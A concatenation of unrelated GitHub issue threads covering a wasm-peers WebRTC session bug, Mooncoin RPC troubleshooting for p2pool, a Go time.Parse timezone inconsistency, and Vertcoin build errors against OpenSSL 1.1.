[ ] The commit message follows our guidelines: https://github.com/scullyio/scully/blob/main/CONTRIBUTING.md#commit
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

PR Type
What kind of change does this PR introduce?

[ ] Bugfix
[ ] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[ ] Other... Please describe:

What is the current behavior?

Issue Number: N/A
What is the new behavior?
Does this PR introduce a breaking change?

[ ] Yes
[ ] No

Other information

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

I started having other layout issues using flash prevention, so I'm dropping it and going to look into transfer state,

I started having other layout issues using flash prevention, so I'm dropping it and going to look into transfer state,


One to many doesn't work.

Hi, i tried using the library using one to many.
Server sees the connections and gets the session join event from the clients but not the host.
10:47:27 [INFO] new user connected: UserId(30) <-- host
10:47:47 [INFO] new user connected: UserId(31) <-- client
10:47:47 [INFO] message received from user UserId(31): SessionJoin(SessionId("id"), false)

no error is returned.

Thanks for trying out wasm-peers and leaving an issue!
I'll try to reproduce it on Monday and will get back to you.
Did you try many-to-many? It uses the same underlying logic as one-to-many, so the same issue should be present.

Hi @Wicpar,
I finally found time to sit down and investigate.
I can confirm that the output you are seeing is not expected. Right after the first user connects, he should make an attempt to join the session. Unfortunately, I was not able to reproduce the bug locally.
Can you share more details about your setup? Browser version, package version, etc.
For comparison, here are the logs from my local run:
23:50:20 [INFO] new user connected: UserId(2)
23:50:20 [INFO] message received from user UserId(2): SessionJoin(SessionId("e1c72ba7-8b5d-4af1-a1f3-77027e817ce2"), true)
23:50:30 [DEBUG] (4) hyper::proto::h1::io: parsed 15 headers
23:50:30 [DEBUG] (4) hyper::proto::h1::conn: incoming body is empty
23:50:30 [DEBUG] (4) hyper::proto::h1::io: flushed 166 bytes
23:50:30 [INFO] new user connected: UserId(3)
23:50:30 [INFO] message received from user UserId(3): SessionJoin(SessionId("e1c72ba7-8b5d-4af1-a1f3-77027e817ce2"), false)
23:50:30 [INFO] message received from user UserId(2): SdpOffer(SessionId("e1c72ba7-8b5d-4af1-a1f3-77027e817ce2"), UserId(3), "v=0\r\no=mozilla...THIS_IS_SDPARTA-99.0<PHONE_NUMBER>414449162 0 IN IP4 <IP_ADDRESS>\r\ns=-\r\nt=0 0\r\na=fingerprint:sha-256 DA:DF:F6:F3:2D:3F:E6:49:FF:3B:A0:AF:AF:24:97:B0:90:16:56:52:D7:A2:30:C0:05:47:82:E2:A1:D0:12:34\r\na=group:BUNDLE 0\r\na=ice-options:trickle\r\na=msid-semantic:WMS *\r\nm=application 9 UDP/DTLS/SCTP webrtc-datachannel\r\nc=IN IP4 <IP_ADDRESS>\r\na=sendrecv\r\na=ice-pwd:b7bcec39a58fd6b65823beadaccaea62\r\na=ice-ufrag:31beca73\r\na=mid:0\r\na=setup:actpass\r\na=sctp-port:5000\r\na=max-message-size:1073741823\r\n")
23:50:30 [INFO] message received from user UserId(2): IceCandidate(SessionId("e1c72ba7-8b5d-4af1-a1f3-77027e817ce2"), UserId(3), "{\"candidate\":\"candidate:0 1 UDP<PHONE_NUMBER> eff49137-bff0-406e-86fb-8bb6c4d706b5.local 57557 typ host\",\"sdp_mid\":\"0\",\"sdp_m_line_index\":0}")
23:50:30 [INFO] message received from user UserId(2): IceCandidate(SessionId("e1c72ba7-8b5d-4af1-a1f3-77027e817ce2"), UserId(3), "{\"candidate\":\"candidate:3 1 TCP<PHONE_NUMBER> eff49137-bff0-406e-86fb-8bb6c4d706b5.local 9 typ host tcptype active\",\"sdp_mid\":\"0\",\"sdp_m_line_index\":0}")
23:50:30 [INFO] message received from user UserId(3): SdpAnswer(SessionId("e1c72ba7-8b5d-4af1-a1f3-77027e817ce2"), UserId(2), "v=0\r\no=mozilla...THIS_IS_SDPARTA-99.0<PHONE_NUMBER>438338660 0 IN IP4 <IP_ADDRESS>\r\ns=-\r\nt=0 0\r\na=fingerprint:sha-256 4C:6B:D6:33:3E:87:14:BC:B9:42:31:B8:26:16:66:2F:7E:70:7C:38:DC:17:60:7B:C1:D7:EE:19:1F:4B:49:6C\r\na=group:BUNDLE 0\r\na=ice-options:trickle\r\na=msid-semantic:WMS *\r\nm=application 9 UDP/DTLS/SCTP webrtc-datachannel\r\nc=IN IP4 <IP_ADDRESS>\r\na=sendrecv\r\na=ice-pwd:c6eb0973597e53f916fdc24e4b8f63a9\r\na=ice-ufrag:241962e4\r\na=mid:0\r\na=setup:active\r\na=sctp-port:5000\r\na=max-message-size:1073741823\r\n")
23:50:30 [INFO] message received from user UserId(3): IceCandidate(SessionId("e1c72ba7-8b5d-4af1-a1f3-77027e817ce2"), UserId(2), "{\"candidate\":\"candidate:0 1 UDP<PHONE_NUMBER> f3d2d33a-1bc3-4a2c-a576-bf8def7e5c97.local 57010 typ host\",\"sdp_mid\":\"0\",\"sdp_m_line_index\":0}")
...


add wildcard if user is searching partial word, if space follows word…

… then assume user is searching whole word
https://app.clubhouse.io/augur/story/14959/update-search-functionality
small change to allow partial word searches.

Coverage increased (+0.03%) to 66.578% when pulling 58374256b1a1c2f7f5c84701a6432e40fad5c981 on pgebheim/ch14959/update-search-functionality into 36af429207f9fc3b1e0b234a2bc1712602e41a5d on master.


Compiling-errors

Compiling with
./autogen.sh
./configure --disable-wallet
make -f Makefile USE_UPNP=- USE_IPV6=- USE_QRCODE=-
gives some errors (only two copy&pasted):
main.cpp: In function 'CAmount GetBlockValue(int, const CAmount&, uint256)':
main.cpp:1406:16: warning: comparison is always false due to limited range of data type [-Wtype-limits]
if (nHeight ><PHONE_NUMBER>) {
^
At global scope:
cc1plus: warning: unrecognized command line option "-Wno-self-assign" [enabled by default]
...
script/interpreter.cpp: In function 'bool IsLowDERSignature(const valtype&, ScriptError*)':
script/interpreter.cpp:169:18: warning: unused variable 'nLenS' [-Wunused-variable]
unsigned int nLenS = vchSig[5+nLenR];
^
script/interpreter.cpp:170:26: warning: unused variable 'S' [-Wunused-variable]
const unsigned char *S = &vchSig[6+nLenR];
^
At global scope:
cc1plus: warning: unrecognized command line option "-Wno-self-assign" [enabled by default]
It finishes the process and the wallet is usable afterwards, but would be worth to check that out and correct it, in order to get a flawless compiling-process ...
Furthermore: Have you checked/specified the correct ports for RPC and P2P in the code?
See https://github.com/realmooncoin/mooncoin
-->
Ports
RPC 44663 P2P 44664

Hi Coinflow,
These are compiler warnings and can be safely ignored; the first refers to the fact that nHeight cannot deal with such large numbers as<PHONE_NUMBER>, however this was included to show that there will technically be an end to the coinsupply. Second; the variable 'nLenS' is initialized but not used elsewhere in the code.
This code currently runs on my primary and secondary nodes; as well as some very high volume instances such as the wallets at Bleutrade etc.
And yes; i'm sure I got the RPC/P2P ports correct there :)
I'm not sure how many wallets you've compiled in the past (and this comes before a QT-compiled wallet, which are again something else entirely), but in comparison this code compiles very cleanly.
james

Compiler warnings are safe to ignore.

I'm not sure how many wallets you've compiled in the past (and this comes before a QT-compiled wallet,

Quite some. Qt is only the second step and not needed for a daemon.

Compiler warnings are safe to ignore.

Would be better to not have them. Moreover: warnings and errors are different things as you know.

And yes; i'm sure I got the RPC/P2P ports correct there :)

The reason for the question:
rav3np2pool has problems to connect to the wallet, even if the ports are explicitly specified in Mooncoin.conf and calling like described here: https://github.com/Rav3nPL/p2pool-rav, which was not needed with the older versions of Mooncoin-wallets (by adding rpcport=44663 and port=44664 to Mooncoin.conf and starting p2pool with options --bitcoind-p2p-port 44664 --bitcoind-rpc-port 44663)
Error-message from p2pool: "Check failed! Make sure that you're connected to the right bitcoind with --bitcoind-rpc-port!"

I had moonrush.org up and running (once synced) within about 10 minutes.
I'll bet its either the rpc port not being bound to the right IP/allowing right IP to connect to it, or the rpc password not being long enough.
Heres the launch parameters I use on moonrush.org:
./Mooncoind -listen -server -daemon -rpcuser= -rpcpassword= -rpcbind=<IP_ADDRESS> -rpcallowip=<IP_ADDRESS>
RPC password is 30 characters long, as short passwords would not let my stratum authenticate to the daemon (this was an issue with the older clients too).
I'd advise that he try the above, also try 'lsof -i' from the bash prompt to see what interface the RPC port has bound to and listening; additionally try using curl to manually authenticate against the daemon.

oh dear, p2pool doesnt rely on getwork does it still

RPC password is 30+ characters long.
lsof -i gives
Mooncoind ... IPv4  ...  TCP ip6-localhost:44663 (LISTEN)
Mooncoind ... IPv6  ...  TCP *:44664 (LISTEN)
Mooncoind ... IPv4  ...  TCP *:44664 (LISTEN)
For Novacoin, the output on the same machine looks like this, for example:
novacoind ... IPv6 ... TCP *:8344 (LISTEN)
novacoind ... IPv6 ... TCP *:7777 (LISTEN)
novacoind ... IPv4 ... TCP *:7777 (LISTEN)
Novacoin p2pool connects seamlessly, as did both older mooncoind.
Seems, as if new Mooncoind (notice, that you have changed to capital M, whereas previous versions used the "standardized" lowercase) listens, but because of that restriction to ip6-localhost, the p2pool-software does not get through (maybe Mooncoind not really listening on <IP_ADDRESS>) ...? Any idea?
Adding rpcbind=<IP_ADDRESS> to Mooncoin.conf did not help. rpcallowip=<IP_ADDRESS> was already set, as was listen=1, server=1 and daemon=1.
Result from p2pool:
...
Testing bitcoind RPC connection to 'http://<IP_ADDRESS>:44663/' with username 'xxxxx' ...
... Check failed! Make sure that you're connected to the right bitcoind with --bitcoind-rpc-port! ...

No such thing as standardized in cryptocurrency there matey.
I'd assumed you'dve taken other standard diagnostic measures such as simply testing if the daemon is responding via RPC-JSON; but you havent.
Can I get you to run the following command on the host:
curl --user rpcuser:rpcpassword --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"getinfo","params":[]}' -H 'content-type:text/plain;' http://<IP_ADDRESS>:44663

No such thing as standardized in cryptocurrency there matey.

That's why I put it into quotation marks. :-) But it simplifies things. No big deal, to alter all relevant mooncoin to Mooncoin in the conf-dirs and -files, but would not have to be ...
curl gives the expected:
{"result":{"version":100500,"protocolversion":70002,"blocks":1101846,"timeoffset":0,"connections":25,"proxy":"","difficulty":4.66879760,"testnet":false,"relayfee":0.00100000,"errors":""},"error":null,"id":"curltext"}
So no problem with that.

Ok, we've verified comms are fine, onto the next step:
curl --user rpcuser:rpcpassword --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"getwork","params":[]}' -H 'content-type:text/plain;' http://<IP_ADDRESS>:44663
curl --user rpcuser:rpcpassword --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"getblocktemplate","params":[]}' -H 'content-type:text/plain;' http://<IP_ADDRESS>:44663

curl --user rpcuser:rpcpassword --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"getwork","params":[]}' -H 'content-type:text/plain;' http://<IP_ADDRESS>:44663

{"result":null,"error":{"code":-32601,"message":"Method not found"},"id":"curltext"}

curl --user rpcuser:rpcpassword --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"getblocktemplate","params":[]}' -H 'content-type:text/plain;' http://<IP_ADDRESS>:44663

{"result":null,"error":{"code":-10,"message":"Mooncoin is downloading blocks..."},"id":"curltext"}
It throws the latter result every time.

Have you tried restarting the daemon since? At the crossover to block 1,100,000 Aikapool forked off causing potential issues.

Yes, several times; just now again and ~/mooncoin/src/Mooncoin-cli getinfo afterwards gives:
{
"version" : 100500,
"protocolversion" : 70002,
"blocks" : 1101846,
"timeoffset" : 0,
"connections" : 7,
"proxy" : "",
"difficulty" : 4.66879760,
"testnet" : false,
"relayfee" : 0.00100000,
"errors" : ""
}
curl:
{"result":null,"error":{"code":-10,"message":"Mooncoin is downloading blocks..."},"id":"curltext"}
Maybe interesting for you (if you don't know the thread already):
https://bitcointalk.org/index.php?topic=153232.0
Excerpt:

Latest tests show that the getblocktemplate latency doesn't influence efficiency much (at least up to 0.4s). Note that one possible side effect of high latency is that your CPU is used at 100% while bitcoind is processing the request and this could slow down P2Pool, indirectly lowering efficiency. You should not notice this effect on a multi-core CPU if it's not heavily used by other processes. If your getblocktemplate latency is really high (>0.3s) and your efficiency is <100% your low efficiency might be linked to your getblocktemplate latency, it's more likely to be linked to high bandwidth or CPU peak usage, so check that you don't have regular CPU/network peaks before trying to lower getblocktemplate latency needlessly.

Which could answer your above question about getwork ...?

Something is wrong with your copy of the chain if its still doing that.
In regards to getwork; this has been dropped from Litecoin codebase for some time now, this is the underlying reason p2pool isnt working which I hinted at a few days ago.

coinflow,
check out https://github.com/mooncoindev/mooncoin/commit/109c27b22094244cf3da488b749786210eba8527 (or just clone and recompile from master); will get rid of that pesky 'Mooncoin is downloading blocks...' issue.
baz.

Ended up being resolved in https://github.com/mooncoindev/mooncoin/commit/2688e5883fd54a2782876965689e5a929d1771a5, please update your nodes.


time: Parse behaves inconsistently when parsing numerical timezones with an "MST" format string

What version of Go are you using (go version)?
Local machine:

$ go version
go version go1.12 darwin/amd64

Docker container:

$ go version
go version go1.12 linux/amd64

Does this issue reproduce with the latest release?
Yes.
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GOARCH="amd64"
GOBIN=""
GOCACHE="/Users/nmooney/Library/Caches/go-build"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="darwin"
GOOS="darwin"
GOPATH="/Users/nmooney/go"
GOPROXY=""
GORACE=""
GOROOT="/usr/local/Cellar/go/1.12/libexec"
GOTMPDIR=""
GOTOOLDIR="/usr/local/Cellar/go/1.12/libexec/pkg/tool/darwin_amd64"
GCCGO="gccgo"
CC="clang"
CXX="clang++"
CGO_ENABLED="1"
GOMOD=""
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/vv/t3z4pbwn3pd36hm89fg1m8jc0000gn/T/go-build118701068=/tmp/go-build -gno-record-gcc-switches -fno-common"

What did you do?
Go Playground example here.
I attempted to use the time.Parse format string "Mon, 2 Jan 2006 15:04:05 MST" to parse the date "Tue, 12 Mar 2019 15:34:39 -0000".
What did you expect to see?
I would expect time.Parse to fail to parse the string, since it's suffixed with -0000 rather than an alphabetical time zone designator.
This behaves correctly when I try to parse a date with a non-zero offset, such as "Tue, 12 Mar 2019 15:34:39 -0700" (i.e. parsing fails).
What did you see instead?
time.Parse successfully parses date strings with TZ offsets of zero given a format string that ends with MST, when it should likely fail if there is no alphabetical timezone designator.

This looks like a bug to me, Parse shouldn't behave inconsistently with inputs that only differ based on the offset, I think it should definitely error in all cases where the MST token matches an incompatible input value. Note that leaving off  -0700 should work, as MST will parse as zero based on the documentation:

Elements omitted from the value are assumed to be zero or, when zero is impossible, one, so parsing "3:04pm" returns the time corresponding to Jan 1, year 0, 15:04:00 UTC (note that because the year is 0, this time is before the zero Time). Years must be in the range 0000..9999. The day of the week is checked for syntax but it is otherwise ignored.

/cc @ianlancetaylor

I would expect time.Parse to fail to parse the string, since it's suffixed with -0000 rather than an alphabetical time zone designator.

This expectation is not correct. Not every timezone has a three-letter name, so it was decided to allow numeric timezone names (like +07) to match MST. This was implemented in commit 9f2c611fa7cccfacd317b88eff14d3ba64e855ff. This allows Parse to keep working when the format specifier ask for a timezone names (using MST), but the function is given a correct time string for a timezone with no numeric name.

This expectation is not correct. Not every timezone has a three-letter name, so it was decided to allow numeric timezone names (like +07) to match MST.

Yes, timezones of +07 or GMT+3 should be parsed correctly as a token of type stdTZ, but -0000 is a stdNumTZ and shouldn't be parsed as a standin for the MST token.

Yes, timezones of +07 or GMT+3 should be parsed as a token of type stdTZ, but -0000 is a stdNumTZ

But how do you differentiate between a numeric timezone name and an stdNumTZ? What's the rule?

In the layout string, a value of "MST" encodes to a stdTZ (which accepts values like "MST", "PDT", "GMT+3", "+07".
A value of "-0700" in the layout string encodes to a stdNumTZ, which should be in a form that looks like "+0000", "-0700", etc.
This behavior is already part of time.Parse. This issue and the associated pull request just fixes the case where -0000 is parsed as a stdTZ (since 0 is between -23 and 23), but -0700 is not (since 700 is greater than 23). In fact, neither of those values are acceptable values for a stdTZ. This issue and pull request do not change the behavior of string parsing where the layout string contains -0700 (signaling that a stdNumTZ is expected).

but -0700 is not (since 700 is greater than 23)

My point is that this is wrong. It's also the current behaviour, but now your CL is aligning Parse, for 0000, to a behaviour that is probably not correct. In fact, I argue that both -0000 and -0700 are valid numeric timezones names. Currently, Parse rejects the second, and after your patch it'll also reject the first. But the correct behaviour is to accept both, since the criteria "let's parse NNNN as an integer and compare that with 23" is not correct.

They are valid numeric timezone names, but not valid non-numeric timezone names. If you use -0700 in your layout string for Parse, both -0000 and -0700 are accepted as you would expect. Parse recognizes a difference between stdTZ and stdNumTZ in the layout string ("MST" vs "-0700").
Are you suggesting that they should be interchangeable? Because that also solves this bug, but seems to me to be non-obvious behavior. My initial reaction is that I would be surprised if I was able to hand a non-numeric timezone designator to a function that uses a layout string specifying a 4-digit offset. Otherwise, why recognize a difference between these two types in the layout string?

Here's how I understand it:
MST should cause Parse to eat anything that could potentially be a timezone name. This includes the following: EST, EEST, +07, -05, +00, +0000, +0500, +0330.
-0700 should cause Parse to exclusively accept numeric timezones.
This is how I read the documentation, where it says:
stdTZ                                // "MST"
...
stdNumTZ                             // "-0700"  // always numeric

so no, I don't think they are interchangeable, since with -0700 Parse would reject e.g. EEST.

Ah, I understand where you're coming from. That would be a fine solution as well, as long as behavior is consistent when parsing strings that are suffixed with both -0000 and -0700.

/cc @robpike
// parseSignedOffset parses a signed timezone offset (e.g. "+03" or "-04").
// The function checks for a signed number in the range -23 through +23 excluding zero.
// Returns length of the found offset string or 0 otherwise
This function is expecting "+03" and accepting "-0000" (unexpectedly!) but rejecting "-0700" (because 700 is well out of range). It's unclear what the right answer is - should parseSignedOffset allow 4-digit offsets in order to deal with fractional-hour time zones?

should parseSignedOffset allow 4-digit offsets in order to deal with fractional-hour time zones?

This will be necessary anyway to fix #26032. For example, if you zdump Asia/Kabul you get:

Sun Aug 5 16:25:10 2018 +0430

which time.Parse mistakenly rejects because it doesn't like the +0430 part.

What are the next steps required for this?

@nickmooney We need to decide on the right thing to do.

Gotcha, @ianlancetaylor. I haven't contributed to Go before, and I'm not super familiar with who is in charge of making those decisions. It seems like we have two options -- is there a group of people who are the "right people" to make that decision?

Yes, there is a group of people who periodically review NeedsDecision issues.
In this case it would be interesting to hear whether @robpike has an opinion.

Perhaps parseSignedOffset should allow 4-digit offsets. I'm not sure.


Change display string from "Less than" to "Less than or equal"

This code was merged with branch ALS-500


Upgrade JMXTrans

JMXTrans community cookbook points to an older version (2012) of  JMXTrans software to install. We need to use the latest version of the software which can fix some of the stats data issues seen in Graphite. Also it will help us get support from the JMXTrans community.

Version 2.0 of the jmxtrans-cookbook is available for testing. The default recipe does the install from the tar.gz file published by the jmxtrans project and install_ubuntu uses the deb package. Also included is remove-ver1 to remove jmxtrans installed using the previous version of the cookbook.

Fixed as part of PR #556.


Won't compile on arch

Describe the issue
Tried compiling both release and git checkout, with and without berkeley db4.8 and I get always the same error:
....
bignum.h: In function 'bool operator>(const CBigNum&, const CBigNum&)':
bignum.h:594:83: error: cannot convert 'const CBigNum*' to 'const BIGNUM* {aka const bignum_st*}' for argument '1' to 'int BN_cmp(const BIGNUM*, const BIGNUM*)'
 inline bool operator>(const CBigNum& a, const CBigNum& b)  { return (BN_cmp(&a, &b) > 0); }
                                                                                ^
make[2]: *** [Makefile:6051: libbitcoin_server_a-pow.o] Error 1
make[2]: *** Waiting for unfinished jobs....
make[2]: Leaving directory '/home/stef/git/vertcoin/src'
make[1]: *** [Makefile:9733: all-recursive] Error 1
make[1]: Leaving directory '/home/stef/git/vertcoin/src'
make: *** [Makefile:745: all-recursive] Error 1

Machine specs:

OS: arch
CPU: Dual core Intel Core i5-4300U (-HT-MCP-)
RAM: 8gb
Disk size: 500gb
Disk Type (HD/SDD): SDD

vtc_install_error.txt
Do you get this error? I'm having the same issue on Fedora 27.

Looks similar to mine. at the same point:

  CXX      libbitcoin_server_a-pow.o

You have OpenSSL v1.1.0 installed. Vertcoin Core requires OpenSSL v1.0.2 to compile.

I've both installed:
$ pacman -Ss openssl
core/openssl 1.1.0.g-1 [installed]
    The Open Source toolkit for Secure Sockets Layer and Transport Layer Security
core/openssl-1.0 1.0.2.n-1 [installed]

It looks like in this case vertcoin-core does not find the right one.